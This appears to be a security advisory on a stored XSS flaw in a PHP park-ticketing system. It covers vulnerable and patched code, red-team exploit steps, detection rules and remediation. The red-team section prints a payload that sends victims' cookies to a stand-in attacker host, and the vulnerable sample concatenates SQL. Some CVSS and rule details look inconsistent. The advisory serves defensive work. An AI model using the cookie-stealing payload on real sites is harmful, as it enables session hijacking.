CVE-2025-15214

Executive Summary

CVE-2025-15214 is a stored cross-site scripting (XSS) vulnerability in Campcodes Park Ticketing System version 1.0. The flaw resides in the save_pricing function within admin_class.php, where the name and ride parameters are not properly sanitized before being stored and later rendered. An attacker with administrative access can inject arbitrary JavaScript, which will execute in the context of any user viewing the affected pricing configuration page. The CVSS score is 2.4 (Low) due to the requirement for authenticated access and user interaction, but the public availability of exploit code increases the risk for unpatched instances.

Supply Chain & Package Security

This is a standalone PHP application, not a package from NPM, PyPI, Go, or Ruby ecosystems. No supply chain implications exist beyond the vendor's lack of patch distribution.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 2.4 (Low)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N) – but exploitation requires admin-level access to the vulnerable function.
• User Interaction: Required (UI:R) – victim must visit the pricing page.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – injected script can modify page content or perform actions on behalf of the victim.
• Availability Impact: None (A:N)

Threat Level: Low. The vulnerability requires administrative credentials to inject the payload, and the impact is limited to integrity. However, the public exploit code and lack of a patch elevate the risk for exposed instances.

Deep Dive & Mechanics

The vulnerability exists in the save_pricing function of admin_class.php. This function is responsible for saving pricing configuration data, including the name and ride parameters. The application fails to sanitize or escape these inputs before storing them in the database and later rendering them on the pricing management page.

Attack Flow:

1. An authenticated administrator navigates to the pricing management page.
2. The attacker (who is also an admin) submits a POST request to admin_class.php?action=save_pricing with malicious payloads in the name or ride parameters.
3. The payload is stored in the database without sanitization.
4. When any user (including other admins) views the pricing page, the stored payload is rendered in the HTML, executing the injected JavaScript.

Root Cause: Lack of input validation and output encoding. The application uses $_POST values directly without functions like htmlspecialchars() or prepared statements for output.

Vulnerable vs. Patched Code

Vulnerable Code (admin_class.php):

function save_pricing() {
    $name = $_POST['name'];
    $ride = $_POST['ride'];
    // Directly inserted into database without sanitization
    $query = "INSERT INTO pricing (name, ride) VALUES ('$name', '$ride')";
    // ... execution
}

Patched Code (Recommended):

function save_pricing() {
    $name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
    $ride = htmlspecialchars($_POST['ride'], ENT_QUOTES, 'UTF-8');
    // Use prepared statements to prevent SQL injection as well
    $stmt = $conn->prepare("INSERT INTO pricing (name, ride) VALUES (?, ?)");
    $stmt->bind_param("ss", $name, $ride);
    // ... execution
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an admin account on the Park Ticketing System.
• Network access to the application's admin panel.

Exploit Steps:

1. Log in as an administrator.
2. Navigate to the pricing management page (e.g., /admin/pricing.php).
3. Intercept the save request using a proxy like Burp Suite.
4. Modify the name or ride parameter to include a JavaScript payload:

   name=<script>alert('XSS')</script>
   

5. Submit the request.
6. When any user visits the pricing page, the script executes.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor for unusual POST requests to admin_class.php?action=save_pricing containing <script> tags or event handlers.
• Review web server logs for requests with suspicious parameters in the name or ride fields.
• Use WAF rules to block common XSS patterns.

Hunting:

• Search database entries in the pricing table for HTML tags or JavaScript code.
• Check for unexpected outbound connections from the web server to unknown domains.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin/admin_class.php?action=save_pricing with name or ride parameters containing <script> tags.
  • Outbound HTTP requests to attacker-controlled domains from the web server.
• Host:
  • Database entries in the pricing table containing JavaScript code.
  • Modified admin_class.php file (if attacker uploads a backdoor).
• Logs:
  • Web server access logs showing action=save_pricing with encoded or raw HTML in parameters.

Detection Engineering

YARA Rule

rule CVE_2025_15214_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-15214 in Campcodes Park Ticketing System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15214"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-15214 XSS Attempt in Park Ticketing System
id: 8a4b3c2d-1e5f-4a6b-9c8d-7e0f1a2b3c4d
status: experimental
description: Detects POST requests to admin_class.php with XSS payloads in name or ride parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: action=save_pricing
        cs-uri-query|contains|all:
            - 'name='
            - 'ride='
    filter:
        cs-uri-query|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection and filter
falsepositives:
    - Legitimate use of HTML in pricing names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-15214 XSS Attempt in Park Ticketing System"; flow:to_server,established; content:"POST"; http_method; content:"/admin/admin_class.php"; http_uri; content:"action=save_pricing"; http_client_body; pcre:"/(<script|on\w+\s*=|javascript\s*:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the pricing management feature if not essential, or restrict access to trusted IPs only.
2. Implement a Web Application Firewall (WAF) rule to block requests containing <script> tags or event handlers in the name and ride parameters.
3. Manually sanitize inputs by editing admin_class.php to use htmlspecialchars() on all user-supplied data before database insertion and output.

Long-Term Fix:

• Apply input validation and output encoding throughout the application.
• Use parameterized queries (prepared statements) to prevent SQL injection as well.
• Monitor the vendor's website for an official patch; if none is released, consider migrating to a different ticketing system.

Valters IT Signature:

Report generated by Valters IT DevSecOps Intelligence Unit